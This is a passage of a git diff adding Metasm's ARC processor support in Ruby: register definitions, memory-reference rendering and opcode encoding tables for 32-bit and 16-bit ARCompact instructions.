Expression[register_symbols[5]] + end + + def delay_slot(di=nil) + return 0 if (not di) or (not di.opcode.props[:setip]) + return 1 if di.opcode.props[:delay_slot] + (di.instruction.opname =~ /\.d/) ? 0 : 1 + end +end +end diff --git a/lib/metasm/metasm/cpu/arc/main.rb b/lib/metasm/metasm/cpu/arc/main.rb new file mode 100644 index 0000000000..2d0a5bd042 --- /dev/null +++ b/lib/metasm/metasm/cpu/arc/main.rb @@ -0,0 +1,191 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/main' + +module Metasm +class ARC < CPU + def initialize(e = :little) + super() + @endianness = e + @size = 32 + end + + class Reg + include Renderable + + attr_accessor :i + + def initialize(i); @i = i end + + def ==(o) + o.class == self.class and o.i == i + end + end + + # general purpose reg + # Result R0-R1 + # Arguments R0-R7 + # Caller Saved Registers R0-R12 + # Callee Saved Registers R13-R25 + # Static chain pointer (if required) R11 + # Register for temp calculation R12 + # Global Pointer R26 (GP) + # Frame Pointer R27 (FP) + # Stack Pointer R28 (SP) + # Interrupt Link Register 1 R29 (ILINK1) + # Interrupt Link Register 2 R30 (ILINK2) + # Branch Link Register R31 (BLINK) + class GPR < Reg + Sym = (0..64).map { |i| "r#{i}".to_sym } + def symbolic; Sym[@i] end + + Render = { + 26 => 'gp', # global pointer, used to point to small sets of shared data throughout execution of a program + 27 => 'fp', # frame pointer + 28 => 'sp', # stak pointer + 29 => 'ilink1', # maskable interrupt link register + 30 => 'ilink2', # maskable interrupt link register 2 + 31 => 'blink', # branch link register + 60 => 'lp_count', # loop count register (24 bits) + # "When a destination register is set to r62 there is no destination for the result of the instruction so the + # result is discarded. Any flag updates will still occur according to the set flags directive (.F or implicit + # in the instruction)." + 62 => 'zero' + } + + def render + if s = Render[i] + [s] + else + # r0-r28 general purpose registers + # r32-r59 reserved for extentions + ["r#@i"] + end + end + + end + + class AUX < Reg + def symbolic; "aux#{i}".to_sym end + + Render = { + 0x00 => 'status', # Status register (Original ARCtangent-A4 processor format) + 0x01 => 'semaphore', # Inter-process/Host semaphore register + 0x02 => 'lp_start', # Loop start address (32-bit) + 0x03 => 'lp_end', # Loop end address (32-bit) + 0x04 => 'identity', # Processor Identification register + 0x05 => 'debug', # Debug register + 0x06 => 'pc', # PC register (32-bit) + 0x0A => 'status32', # Status register (32-bit) + 0x0B => 'status32_l1', # Status register save for level 1 interrupts + 0x0C => 'status32_l2', # Status register save for level 2 interrupts + 0x10 => 'ic_ivic', # Cache invalidate + 0x11 => 'ic_ctrl', # Mode bits for cache controller + 0x12 => 'mulhi', # High part of Multiply + 0x19 => 'ic_ivil', + 0x21 => 'timer0_cnt', # Processor Timer 0 Count value + 0x22 => 'timer0_ctrl', # Processor Timer 0 Control value + 0x23 => 'timer0_limit', # Processor Timer 0 Limit value + 0x25 => 'int_vector_base', # Interrupt Vector Base address + 0x40 => 'im_set_dc_ctrl', + 0x41 => 'aux_macmode', # Extended Arithmetic Status and Mode + 0x43 => 'aux_irq_lv12', # Interrupt Level Status + 0x47 => 'dc_ivdc', # Invalidate cache + 0x48 => 'dc_ctrl', # Cache control register + 0x49 => 'dc_ldl', # Lock data line + 0x4A => 'dc_ivdl', # Invalidate data line + 0x4B => 'dc_flsh', # Flush data cache + 0x4C => 'dc_fldl', # Flush data line + 0x58 => 'dc_ram_addr', # Access RAM address + 0x59 => 'dc_tag', # Tag Access + 0x5A => 'dc_wp', # Way Pointer Access + 0x5B => 'dc_data', # Data Access + 0x62 => 'crc_bcr', + 0x64 => 'dvfb_bcr', + 0x65 => 'extarith_bcr', + 0x68 => 'vecbase_bcr', + 0x69 => 'perbase_bcr', + 0x6f => 'mmu_bcr', + 0x72 => 'd_cache_build', # Build: Data Cache + 0x73 => 'madi_build', # Build: Multiple ARC Debug I/F + 0x74 => 'ldstram_build', # Build: LD/ST RAM + 0x75 => 'timer_build', # Build: Timer + 0x76 => 'ap_build', # Build: Actionpoints + 0x77 => 'i_cache_build', # Build: I-Cache + 0x78 => 'addsub_build', # Build: Saturated Add/Sub + 0x79 => 'dspram_build', # Build: Scratch RAM & XY Memory + 0x7B => 'multiply_build', # Build: Multiply + 0x7C => 'swap_build', # Build: Swap + 0x7D => 'norm_build', # Build: Normalise + 0x7E => 'minmax_build', # Build: Min/Max + 0x7F => 'barrel_build', # Build: Barrel Shift + 0x100 => 'timer1_cnt', # Processor Timer 1 Count value + 0x101 => 'timer1_ctrl', # Processor Timer 1 Control value + 0x102 => 'timer1_limit', # Processor Timer 1 Limit value + 0x200 => 'aux_irq_lev', # Interrupt Level Programming + 0x201 => 'aux_irq_hint', # Software Triggered Interrupt + 0x202 => 'aux_irq_mask', # Masked bits for Interrupts + 0x203 => 'aux_irq_base', # Interrupt Vector base address + 0x400 => 'eret', # Exception Return Address + 0x401 => 'erbta', # Exception Return Branch Target Address + 0x402 => 'erstatus', # Exception Return Status + 0x403 => 'ecr', # Exception Cause Register + 0x404 => 'efa', # Exception Fault Address + 0x40A => 'icause1', # Level 1 Interrupt Cause Register + 0x40B => 'icause2', # Level 2 Interrupt Cause Register + 0x40C => 'aux_ienable', # Interrupt Mask Programming + 0x40D => 'aux_itrigger', # Interrupt Sensitivity Programming + 0x410 => 'xpu', # User Mode Extension Enables + 0x412 => 'bta', # Branch Target Address + 0x413 => 'bta_l1', # Level 1 Return Branch Target + 0x414 => 'bta_l2', # Level 2 Return Branch Target + 0x415 => 'aux_irq_pulse_cancel', # Interrupt Pulse Cancel + 0x416 => 'aux_irq_pending', # Interrupt Pending Register + } + + def render + if s = Render[i] + [s] + else + ["aux#@i"] + end + end + end + + class Memref + attr_accessor :base, :disp + + def initialize(base, disp, sz) + @base, @disp, @size = base, disp, sz + end + + def symbolic(orig) + b = @base + b = b.symbolic if b.kind_of? Reg + + if disp + o = @disp + o = o.symbolic if o.kind_of? Reg + e = Expression[b, :+, o].reduce + else + e = Expression[b].reduce + end + + Indirection[e, @size, orig] + end + + include Renderable + + def render + if @disp and @disp != 0 + ['[', @base, ', ', @disp, ']'] + else + ['[', @base, ']'] + end + end + end +end +end diff --git a/lib/metasm/metasm/cpu/arc/opcodes.rb b/lib/metasm/metasm/cpu/arc/opcodes.rb new file mode 100644 index 0000000000..66417d93fd --- /dev/null +++ b/lib/metasm/metasm/cpu/arc/opcodes.rb @@ -0,0 +1,588 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2010 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/cpu/arc/main' + +module Metasm +class ARC + def addop32(name, bin, *args) + addop(:ac32, name, bin, *args) + end + + def addop16(name, bin, *args) + addop(:ac16, name, bin, *args) + end + + def addop(mode, name, bin, *args) + o = Opcode.new(name) + o.bin = bin + args.each { |a| + o.args << a if @fields_mask[a] + o.props[a] = true if @valid_props[a] + o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a] + } + (mode == :ac16) ? (@opcode_list16 << o) : (@opcode_list32 << o) + end + + def init_opcode_list + @opcode_list16 = [] + @opcode_list32 = [] + + @valid_props.update :flag_update => true, :delay_slot => true + @cond_suffix = [''] + %w[z nz p n cs cc vs vc gt ge lt le hi ls pnz] + #The remaining 16 condition codes (10-1F) are available for extension + @cond_suffix += (0x10..0x1f).map{ |i| "extcc#{i.to_s(16)}" } + + # Compact 16-bits operands field masks + fields_mask16 = { + :ca => 0x7, :cb => 0x7, :cb2 => 0x7, :cb3 => 0x7, :cc => 0x7, + :cu => 0x1f, + :ch => 0b11100111, + + # immediate (un)signed + :cu3 => 0x7, :cu8 => 0xff, + # cu7 is 32-bit aligned, cu6 is 16-bit aligned, cu6 is 8-bit aligned + :cu5 => 0x1f, :cu5ee => 0x1f, :cu6 => 0x3f, :cu7 => 0x7f, + + :cs9 => 0x1ff, :cs9ee => 0x1ff, :cs10 => 0x1ff, :cs11 => 0x1ff, + + # signed displacement + :cdisps7=> 0x3f, :cdisps8 => 0x7f, :cdisps10 => 0x1ff, :cdisps13 => 0x7FF, + + # memref [b+u], [sp,u], etc. + :@cb => 0x7, :@cbu7 => 0b11100011111, :@cbu6 => 0b11100011111, :@cbu5 => 0b11100011111, + :@cspu7 => 0b11111, :@cbcc => 0b111111, + :@gps9 => 0x1ff, :@gps10 => 0x1ff, :@gps11 => 0x1ff, + + # implicit operands + :climm => 0x0, :cr0 => 0x0, + :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0 + } + + fields_shift16 = { + :ca => 0x0, :cb => 0x8, :cb2 => 0x8, :cb3 => 0x8, :cc => 0x5, + :cu => 0x0, + + # immediate (un)signed + :ch => 0x0, + :cu3 => 0x0, :cu5 => 0, :cu5ee => 0, :cu6 => 5, :cu7 => 0x0, :cu8 => 0x0, + :cs9 => 0x0, :cs9ee => 0x0, :cs10 => 0x0, :cs11 => 0x0, + + # signed displacement + :cdisps7=> 0x0, :cdisps8 => 0x0, :cdisps10 => 0x0, :cdisps13 => 0x0, + + # memref [b+u] + :@cb => 0x8, :@cbu7 => 0x0, :@cbu6 => 0x0, :@cbu5 => 0x0, + :@cspu7 => 0x0, :@cbcc => 0x5, + :@gps9 => 0x0, :@gps10 => 0x0, :@gps11 => 0x0, + + # implicit operands + :climm => 0x0, :cr0 => 0x0, + :blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0, + } + + fields_mask32 = { + :a => 0x3f, :b => 0b111000000000111, :bext => 0b111000000000111, + :c => 0x3f, :@c => 0x3f, :cext => 0x3f, :@cext => 0x3f, + + :u6 => 0x3f, :u6e => 0x3f, + :s8e => 0x1fd, :s9 => 0x7f, + :s12 => 0xfff, :s12e => 0xfff, + :s21e => 0x1ffBff, :s21ee => 0x1ff3ff, + :s25e => 0x7feffcf, :s25ee => 0x7fcffcf, + + :@bs9 => 0x7fff, :@bc => 0x1ff, :@bextcext => 0x1C01FF, + + :limm => 0x0, :@limm => 0x0, + :@limmc => 0x3f, :@blimm => 0x7, + + :auxlimm => 0x0, :auxs12 => 0xfff, + + :ccond => 0x1f, #condition codes + :delay5 => 1, :delay16 => 1,# delay slot + :flags15 => 0x1, :flags16 => 0x1, + :signext6 => 0x1, :signext16 => 0x1, + :cache5 => 0x1, :cache11 => 0x1, :cache16 => 0x1, # data cache mode field + :sz1 => 0x3, :sz7 => 0x3, :sz16 => 0x3, :sz17 => 0x3, #data size field + :wb3 => 0x3, :wb9 => 0x3, :wb22 => 0x3, #write-back flag + :zero => 0x0, :b2 => 0x0, :@ilink1 => 0x0, :@ilink2 => 0x0 + } + #FIXME + + fields_shift32 = { + :a => 0x0, :b => 0xC, :bext => 0xC, + :c => 0x6, :@c => 0x6, :cext => 0x6, :@cext => 0x6, + + :u6 => 0x6, :u6e =>0x6, + :s8e => 15, :s9 => 0x11, + :s12 => 0x0, :s12e => 0, + :s21e => 0x6, :s21ee => 0x6, + :s25e => 0, :s25ee => 0, + + :limm => 0x0, :@limm => 0x0, + :@limmc => 0x6, :@blimm => 0x18, + + :auxlimm => 0x0, :auxs12 => 0, + + :@bs9 => 12, :@bc => 6, :@bextcext => 6, + + :ccond => 0, #condition codes + :delay5 => 5, :delay16 => 16,# delay slot + :flags15 => 15, :flags16 => 16, + :signext6 => 6, :signext16 => 16, + :cache5 => 5, :cache11 => 11, :cache16 => 16, # data cache mode field + :sz1 => 1, :sz7 => 7, :sz16 => 16, :sz17 => 17, #data size field + :wb3 => 3, :wb9 => 9, :wb22 => 22, #write-back flag + :zero => 0x0, :b2 => 0x0, :@ilink1 => 0, :@ilink2 => 0, + } + + @fields_mask = fields_mask16.merge(fields_mask32) + @fields_shift = fields_shift16.merge(fields_shift32) + + init_arc_compact16() + init_arc_compact32() + + {16 => @opcode_list16, 32 => @opcode_list32} + end + + def add_artihm_op(op, majorcode, subcode, *flags) + # 0bxxxxxbbb00xxxxxxFBBBCCCCCCAAAAAA + addop32 op, 0b00000000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :cext, :flags15 + # 0bxxxxxbbb01xxxxxxFBBBuuuuuuAAAAAA + addop32 op, 0b00000000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 + # 0bxxxxxbbb10xxxxxxFBBBssssssSSSSSS + addop32 op, 0b00000000100000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :s12, :flags15 + # 0bxxxxxbbb11xxxxxxFBBBCCCCCC0QQQQQ + addop32 op, 0b00000000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :cext, :ccond, :flags15 + # 0bxxxxxbbb11xxxxxxFBBBuuuuuu1QQQQQ + addop32 op, 0b00000000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 + end + + def add_logical_op(op, majorcode, subcode, *flags) + # 0b00100bbb00xxxxxxFBBBCCCCCCAAAAAA + addop32 op, 0b00100000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :c, :flags15 + # 0b00100bbb01xxxxxxFBBBuuuuuuAAAAAA + addop32 op, 0b00100000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15 + # 0b00100bbb11xxxxxxFBBBCCCCCC0QQQQQ + # WTF + addop32 op, 0b00100000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :c, :ccond, :flags15 + # 0b00100bbb11xxxxxxFBBBuuuuuu1QQQQQ + addop32 op, 0b00100000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15 + end + + def add_artihm_op_reduce(op, majorcode, subcode) + # 0bxxxxxbbb00101111FBBBCCCCCCxxxxxx + addop32 op, 0b00000000001011110000000000000000 | majorcode << 0x1b | subcode, :b, :cext, :flags15 + # 0bxxxxxbbb01101111FBBBuuuuuuxxxxxx + addop32 op, 0b00000000011011110000000000000000 | majorcode << 0x1b | subcode, :b, :u6, :flags15 + end + + def add_condbranch_op(op, ccond) + # 0b00001bbbsssssss1SBBBUUUUUUN0xxxx + addop32 op, 0b00001000000000010000000000000000 | ccond, :bext, :cext, :s8e, :setip, :delay5 + # 0b00001bbbsssssss1SBBBUUUUUUN1xxxx + addop32 op, 0b00001000000000010000000000010000 | ccond, :b, :u6, :s8e, :setip, :delay5 + end + + def add_condjmp_op() + # 0b00100RRR1110000D0RRRCCCCCC0QQQQQ + addop32 'j', 0b00100000111000000000000000000000, :@cext, :ccond, :setip, :delay16 + # 0b00100RRR1110000D0RRRuuuuuu1QQQQQ + addop32 'j', 0b00100000111000000000000000100000, :u6, :ccond, :setip, :delay16 + # 0b00100RRR111000001RRR0111010QQQQQ + addop32 'j', 0b00100000111000001000011101000000, :@ilink1, :ccond, :setip, :flag_update + # 0b00100RRR111000001RRR0111100QQQQQ + addop32 'j', 0b00100000111000001000011110000000, :@ilink2, :ccond, :setip, :flag_update + end + + def add_condjmplink_op() + # 0b00100RRR111000100RRRCCCCCC0QQQQQ + addop32 'jl', 0b00100000111000100000000000000000, :@cext, :ccond, :setip, :saveip, :delay16 + # 0b00100RRR111000100RRRuuuuuu1QQQQQ + addop32 'jl', 0b00100000111000100000000000100000, :u6, :ccond, :setip, :saveip, :delay16 + end + + def init_arc_compact32 + + add_artihm_op_reduce 'abs', 0b00100, 0b001001 + add_artihm_op_reduce 'abss', 0b00101, 0b000101 + add_artihm_op_reduce 'abssw', 0b00101, 0b000100 + + add_artihm_op 'adc', 0b00100, 0b000001 + add_artihm_op 'add', 0b00100, 0b000000 + add_artihm_op 'add1', 0b00100, 0b010100 + add_artihm_op 'add2', 0b00100, 0b010101 + add_artihm_op 'add3', 0b00100, 0b010110 + add_artihm_op 'adds', 0b00101, 0b000110 + add_artihm_op 'addsw', 0b00101, 0b010101, :extended + add_artihm_op 'addsdw',0b00101, 0b101000, :extended + add_artihm_op 'and' ,0b00100, 0b000100 + + add_artihm_op_reduce 'asl', 0b00100, 0b000000 + + add_artihm_op 'asl', 0b00101, 0b000000, :extended + add_artihm_op 'asls', 0b00101, 0b001010, :extended + + add_artihm_op_reduce 'asr', 0b00100, 0b000001 + + add_artihm_op 'asr', 0b00101, 0b000010 + add_artihm_op 'asrs', 0b00101, 0b001011 + + # 0b00001bbbsssssss1SBBBCCCCCCN01110 + addop32 'bbit0', 0b00001000000000010000000000001110, :b, :c, :s9, :delay5, :setip + # 0b00001bbbsssssss1SBBBuuuuuuN11110 + addop32 'bbit0', 0b00001000000000010000000000011110, :b, :u6, :s9, :delay5, :setip + # 0b00001bbbsssssss1SBBBCCCCCCN01111 + addop32 'bbit1', 0b00001000000000010000000000001111, :b, :c, :s9, :delay5, :setip + # 0b00001bbbsssssss1SBBBuuuuuuN11111 + addop32 'bbit1', 0b00001000000000010000000000011111, :b, :u6, :s9, :delay5, :setip + + # 0b00000ssssssssss0SSSSSSSSSSNQQQQQ + addop32 'b', 0b00000000000000000000000000000000, :s21e, :ccond, :delay5, :setip + # 0b00000ssssssssss1SSSSSSSSSSNRtttt + addop32 'b', 0b00000000000000010000000000000000, :s25e, :delay5, :setip, :stopexec + # WTF: unknown encoding, bit 5 should be reserved + addop32 'b', 0b00000000000000010000000000010000, :s25e, :delay5, :setip, :stopexec + + add_logical_op 'bclr', 0b00100, 0b010000 + add_artihm_op 'bic', 0b00100, 0b000110 + + # 0b00001sssssssss00SSSSSSSSSSNQQQQQ + addop32 'bl', 0b00001000000000000000000000000000, :s21ee, :ccond, :delay5, :setip, :saveip + # 0b00001sssssssss10SSSSSSSSSSNRtttt + addop32 'bl', 0b00001000000000100000000000000000, :s25ee, :delay5, :setip, :saveip, :stopexec + + add_logical_op 'bmsk', 0b00100, 0b010011 + + add_condbranch_op 'breq', 0b0000 + add_condbranch_op 'brne', 0b0001 + add_condbranch_op 'brlt', 0b0010 + add_condbranch_op 'brge', 0b0011 + add_condbranch_op 'brlo', 0b0100 + add_condbranch_op 'brhs', 0b0101 + + addop32 'brk', 0b00100101011011110000000000111111, :stopexec + + add_logical_op 'bset', 0b00100, 0b001111 + + # 0b00100bbb110100011BBBCCCCCC0QQQQQ + addop32 'btst', 0b00100000110100011000000000000000, :bext, :c, :ccond + # 0b00100bbb110100011BBBuuuuuu1QQQQQ + addop32 'btst', 0b00100000110100011000000000100000, :b, :u6, :ccond + # WTF 0b00100bbb010100011BBBuuuuuu0QQQQQ + addop32 'btst', 0b00100000010100011000000000000000, :b, :u6, :ccond + + add_logical_op 'bxor', 0b00100, 0b010010 + + # 0b00100bbb100011001BBBssssssSSSSSS + addop32 'cmp', 0b00100000100011001000000000000000, :b, :s12 + # WTF unknown encoding ... + # 0b00100bbb010011001BBBssssssSSSSSS + addop32 'cmp', 0b00100000010011001000000000000000, :b, :s12 + # 0b00100bbb110011001BBBuuuuuu1QQQQQ + addop32 'cmp', 0b00100000110011001000000000100000, :b, :u6, :ccond + # WTF unknown encoding ... + # 0b00100bbb010011001BBBssssssSSSSSS + addop32 'cmp', 0b00100000000011001000000000000000, :bext, :cext, :ccond + # 0b00100bbb110011001BBBCCCCCC0QQQQQ + addop32 'cmp', 0b00100000110011001000000000000000, :bext, :cext, :ccond + + add_artihm_op 'divaw', 0b00101, 0b001000, :extended + + # 0b00100bbb00101111DBBBCCCCCC001100 + addop32 'ex', 0b00100000001011110000000000001100, :b, :@cext, :cache16 + # 0b00100bbb01101111DBBBuuuuuu001100 + addop32 'ex', 0b00100000011011110000000000001100, :b, :@u6, :cache16 + + add_artihm_op_reduce 'extb', 0b00100, 0b000111 + add_artihm_op_reduce 'extw', 0b00100, 0b001000 + + # WTF unknown encoding ... + # 0b00100rrr111010010RRRCCCCCC0QQQQQ + addop32 'flag', 0b00100000001010010000000000000000, :cext, :ccond, :flag_update + # 0b00100rrr111010010RRRuuuuuu1QQQQQ + addop32 'flag', 0b00100000001010010000000000100000, :u6, :ccond, :flag_update + # 0b00100rrr101010010RRRssssssSSSSSS + addop32 'flag', 0b00100000011010010000000000000000, :s12, :flag_update + + add_condjmp_op() + add_condjmplink_op() + + # 0b00100RRR001000000RRRCCCCCCRRRRRR + addop32 'j', 0b00100000001000000000000000000000, :@cext, :delay16, :setip, :stopexec + # 0b00100RRR011000000RRRuuuuuuRRRRRR + addop32 'j', 0b00100000011000000000000000000000, :u6, :delay16, :setip, :stopexec + # 0b00100RRR101000000RRRssssssSSSSSS + addop32 'j', 0b00100000101000000000000000000000, :s12, :delay16, :setip, :stopexec + # 0b00100RRR001000001RRR011101RRRRRR + addop32 'j.f', 0b00100000001000001000011101000000, :@ilink1, :flag_update, :setip, :stopexec + # 0b00100RRR001000001RRR011110RRRRRR + addop32 'j.f', 0b00100000001000001000011110000000, :@ilink2, :flag_update, :setip, :stopexec + + # 0b00100RRR0010001D0RRRCCCCCCRRRRRR + addop32 'jl', 0b00100000001000100000000000000000, :@cext, :delay16, :setip, :saveip, :stopexec + # 0b00100RRR0110001D0RRRuuuuuuRRRRRR + addop32 'jl', 0b00100000011000100000000000000000, :u6, :delay16, :setip, :saveip, :stopexec + # 0b00100RRR1010001D0RRRssssssSSSSSS + addop32 'jl', 0b00100000101000100000000000000000, :s12, :delay16, :setip, :saveip, :stopexec + + # 0b00010bbbssssssssSBBBDaaZZXAAAAAA + addop32 'ld', 0b00010000000000000000000000000000, :a, :@bs9, :sz7, :signext6, :wb9, :cache11 + + # 0b00100bbbaa110ZZXDBBBCCCCCCAAAAAA + addop32 'ld', 0b00100000001100000000000000000000, :a, :@bextcext, :sz17, :signext16, :wb22, :cache11 + + # 0b00100RRR111010000RRRuuuuuu1QQQQQ + addop32 'lp', 0b00100000111010000000000000100000, :u6e, :ccond, :setip + # 0b00100RRR101010000RRRssssssSSSSSS + addop32 'lp', 0b00100000101010000000000000000000, :s12e, :setip + + # 0b00100bbb001010100BBBCCCCCCRRRRRR + addop32 'lr', 0b00100000101010100000000000000000, :b, :@c + # 0b00100bbb001010100BBB111110RRRRRR + addop32 'lr', 0b00100000001010100000111110000000, :b, :auxlimm + # 0b00100bbb101010100BBBssssssSSSSSS + addop32 'lr', 0b00100000011010100000000000000000, :b, :auxs12 + # WTF unknown encoding ... + # 0b00100bbb101010100BBBssssssSSSSSS + addop32 'lr', 0b00100000101010100000000000000000, :b, :auxs12 + + add_artihm_op_reduce 'lsr', 0b00100, 0b000010 + + add_artihm_op 'lsr', 0b00101, 0b000001 + add_artihm_op 'max', 0b00100, 0b001000 + add_artihm_op 'min', 0b00100, 0b001001 + + # 0b00100bbb10001010FBBBssssssSSSSSS + addop32 'mov', 0b00100000100010100000000000000000, :b, :s12, :flags15 + # WTF unknown encoding ... + # 0b00100bbb01001010FBBBssssssSSSSSS + addop32 'mov', 0b00100000010010100000000000000000, :b, :s12, :flags15 + # 0b00100bbb11001010FBBBCCCCCC0QQQQQ + addop32 'mov', 0b00100000110010100000000000000000, :b, :cext, :ccond , :flags15 + # WTF unknown encoding .. + # 0b00100bbb00001010FBBBCCCCCC0QQQQQ + addop32 'mov', 0b00100000000010100000000000000000, :b, :cext, :ccond , :flags15 + # 0b00100bbb11001010FBBBuuuuuu1QQQQQ + addop32 'mov', 0b00100000110010100000000000100000, :b, :u6, :ccond , :flags15 + + add_artihm_op 'mpy', 0b00100, 0b011010, :extended + add_artihm_op 'mpyh', 0b00100, 0b011011, :extended + add_artihm_op 'mpyhu', 0b00100, 0b011100, :extended + add_artihm_op 'mpyu', 0b00100, 0b011101, :extended + + # WTF: neg instruction is not differenciated from a rsub :a, :b, :u6 + # : 0b00100bbb01001110FBBB000000AAAAAA + #addop32 'neg', 0b00100000010011100000000000000000, :a, :b, :flags15 + + # WTF: neg instruction is not differenciated from a rsub :b, :b2, :u6 + # 0b00100bbb11001110FBBB0000001QQQQQ + #addop32 'neg', 0b00100000110011100000000000100000, :b, :b2, :ccond , :flags15 + + add_artihm_op_reduce 'negs', 0b00101, 0b000111 + add_artihm_op_reduce 'negsw', 0b00101, 0b000110 + + # nop is an alias over mov null, 0 (mov - [:b, :s12, :flags15]) + addop32 'nop', 0b00100110010010100111000000000000 + + add_artihm_op_reduce 'norm', 0b00101, 0b000001 + add_artihm_op_reduce 'normw', 0b00101, 0b001000 + add_artihm_op_reduce 'not', 0b00100, 0b001010 + + add_artihm_op 'or', 0b00100, 0b000101 + + # 0b00010bbbssssssssSBBB0aa000111110 + addop32 'prefetch', 0b00010000000000000000000000111110, :@bs9, :wb + # 0b00100bbbaa1100000BBBCCCCCC111110 + addop32 'prefetch', 0b00100000001100000000000000111110, :@bextcext, :wb22 + + # 0b00100bbb100011011BBBssssssSSSSSS + addop32 'rcmp', 0b00100000100011011000000000000000, :b, :s12 + # 0b00100bbb110011011BBBCCCCCC0QQQQQ + addop32 'rcmp', 0b00100000110011011000000000000000, :bext, :cext, :ccond + # 0b00100bbb110011011BBBuuuuuu1QQQQQ + addop32 'rcmp', 0b00100000110011011000000000100000, :b, :u6, :ccond + + add_artihm_op_reduce 'rlc', 0b00100, 0b001011 + add_artihm_op_reduce 'rnd16', 0b00101, 0b000011 + add_artihm_op_reduce 'ror', 0b00100, 0b000011 + + add_artihm_op 'ror', 0b00101, 0b000011, :extended + + add_artihm_op_reduce 'rrc', 0b00100, 0b000100 + + add_artihm_op 'rsub', 0b00100, 0b001110 + + addop32 'rtie', 0b00100100011011110000000000111111, :setip, :stopexec + + add_artihm_op_reduce 'sat16', 0b00101, 0b000010 + + add_artihm_op 'sbc', 0b00100, 0b000011 + + add_artihm_op_reduce 'sexb', 0b00100, 0b000101 + add_artihm_op_reduce 'sexbw', 0b00100, 0b000110 + + # 0b00100001011011110000uuuuuu111111 + addop32 'sleep', 0b00100001011011110000000000111111, :u6 + + # 0b00100bbb001010110BBBCCCCCCRRRRRR + addop32 'sr', 0b00100000001010110000000000000000, :bext, :@cext + # 0b00100110101010110111CCCCCCRRRRRR + addop32 'sr', 0b00100000101010110000000000000000, :bext, :auxs12 + # WTF: unknown encoding + addop32 'sr', 0b00100000011010110000000000000000, :bext, :auxs12 + + # 0b00011bbbssssssssSBBBCCCCCCDaaZZR + addop32 'st', 0b00011000000000000000000000000000, :cext, :@bs9, :sz1, :wb3, :cache5 + + add_artihm_op 'sub', 0b00100, 0b000010 + add_artihm_op 'sub1', 0b00100, 0b010111 + add_artihm_op 'sub2', 0b00100, 0b011000 + add_artihm_op 'sub3', 0b00100, 0b011001 + + # WTF: same encoding as xor instructions + #add_artihm_op 'subs', 0b00100, 0b000111 + + add_artihm_op 'subsdw', 0b00101, 0b101001, :extended + + add_artihm_op_reduce 'swap', 0b00101, 0b000000 + + addop32 'swi', 0b00100010011011110000000000111111, :setip, :stopexec + addop32 'sync', 0b00100011011011110000000000111111 + + # 0b00100bbb100010111BBBssssssSSSSSS + addop32 'tst', 0b00100000100010111000000000000000, :b, :s12 + # 0b00100bbb110010111BBBCCCCCC0QQQQQ + addop32 'tst', 0b00100000110010111000000000000000, :bext, :cext, :ccond + # 0b00100bbb110010111BBBuuuuuu1QQQQQ + addop32 'tst', 0b00100000110010111000000000100000, :b, :u6, :ccond + + add_artihm_op 'xor', 0b00100, 0b000111 + end + + # ARCompact 16-bit instructions + def init_arc_compact16 + addop16 'abs_s', 0x7811, :cb, :cc + addop16 'add_s', 0x6018, :ca, :cb, :cc + addop16 'add_s', 0x7000, :cb, :cb2, :ch + addop16 'add_s', 0x6800, :cc, :cb, :cu3 + addop16 'add_s', 0xe000, :cb, :cb2, :cu7 + + # same encoding as add_s b,b,h + #addop16 'add_s', 0x70c7, :cb, :cb2, :climm + + addop16 'add_s', 0xc080, :cb, :sp, :cu5ee + addop16 'add_s', 0xc0a0, :sp, :sp2, :cu5ee + addop16 'add_s', 0xce00, :cr0, :gp, :cs9 + addop16 'add1_s', 0x7814, :cb, :cb2, :cc + addop16 'add2_s', 0x7815, :cb, :cb2, :cc + addop16 'add3_s', 0x7816, :cb, :cb2, :cc + addop16 'and_s', 0x7804, :cb, :cb2, :cc + addop16 'asl_s', 0x7818, :cb, :cb2, :cc + addop16 'asl_s', 0x6810, :cc, :cb, :cu3 + addop16 'asl_s', 0xb800, :cb, :cb2, :cu5 + addop16 'asl_s', 0x781b, :cb, :cc + addop16 'asr_s', 0x781a, :cb, :cb2, :cc + addop16 'asr_s', 0x6818, :cc, :cb, :cu3 + addop16 'asr_s', 0xb840, :cb, :cb2, :cu5 + addop16 'asr_s', 0x781c, :cb, :cc + addop16 'b_s', 0xf000, :cdisps10, :setip, :stopexec + addop16 'beq_s', 0xf200, :cdisps10, :setip + addop16 'bne_s', 0xf400, :cdisps10, :setip + addop16 'bgt_s', 0xf600, :cdisps7, :setip + addop16 'bge_s', 0xf640, :cdisps7, :setip + addop16 'blt_s', 0xf680, :cdisps7, :setip + addop16 'ble_s', 0xf6c0, :cdisps7, :setip + addop16 'bhi_s', 0xf700, :cdisps7, :setip + addop16 'bhs_s', 0xf740, :cdisps7, :setip + addop16 'blo_s', 0xf780, :cdisps7, :setip + addop16 'bls_s', 0xf7c0, :cdisps7, :setip + addop16 'bclr_s', 0xb8a0, :cb, :cb2, :cu5 + addop16 'bic_s', 0x7806, :cb, :cb2, :cc + addop16 'bl_s', 0xf800, :cdisps13, :setip, :saveip, :stopexec + addop16 'bmsk_s', 0xb8c0, :cb, :cb2, :cu5 + addop16 'breq_s', 0xe800, :cb, :zero, :cdisps8, :setip + addop16 'brne_s', 0xe880, :cb, :zero, :cdisps8, :setip + addop16 'brk_s', 0x7fff + addop16 'bset_s', 0xb880, :cb, :cb2, :cu5 + addop16 'btst_s', 0xb8e0, :cb, :cu5 + addop16 'cmp_s', 